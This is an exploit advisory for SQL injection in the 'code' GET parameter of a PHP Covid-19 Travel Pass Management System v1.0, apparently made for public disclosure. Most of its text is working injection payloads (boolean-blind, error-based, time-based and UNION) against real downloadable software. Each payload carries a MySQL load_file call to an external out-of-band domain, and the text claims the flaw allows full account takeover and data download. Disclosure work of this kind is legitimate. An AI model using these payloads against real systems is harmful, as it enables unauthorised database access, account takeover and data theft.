## Title: Covid 19 Travel Pass Management System  v1.0 SQLi
## Author: nu11secur1ty
## Date: 05.01.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15308/covid-19-travel-pass-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Covid-19-Travel-Pass-Management

## Description:
The `code` parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+'
was submitted in the code parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator accounts control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: code (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: page=view_pass&code=775545'+(select
load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+''
OR NOT 7325=7325 AND 'vRQn'='vRQn

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: page=view_pass&code=775545'+(select
load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+''
AND (SELECT 1607 FROM(SELECT COUNT(*),CONCAT(0x7171707071,(SELECT
(ELT(1607=1607,1))),0x7176707171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HjrM'='HjrM

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=view_pass&code=775545'+(select
load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+''
AND (SELECT 2775 FROM (SELECT(SLEEP(5)))lkxH) AND 'bdqR'='bdqR

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: page=view_pass&code=775545'+(select
load_file('\\\\okcga8d7p54vhfqrqqf74l3tvk1dp6dxgl78ywn.namaikatiputkata.com\\kyy'))+''
UNION ALL SELECT
NULL,CONCAT(0x7171707071,0x584d675163465844744f504c484d4256425463675863674948566f6b68474f464f64634e6b5a596a,0x7176707171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Covid-19-Travel-Pass-Management)

## Proof and Exploit:
[href](https://streamable.com/huye3b)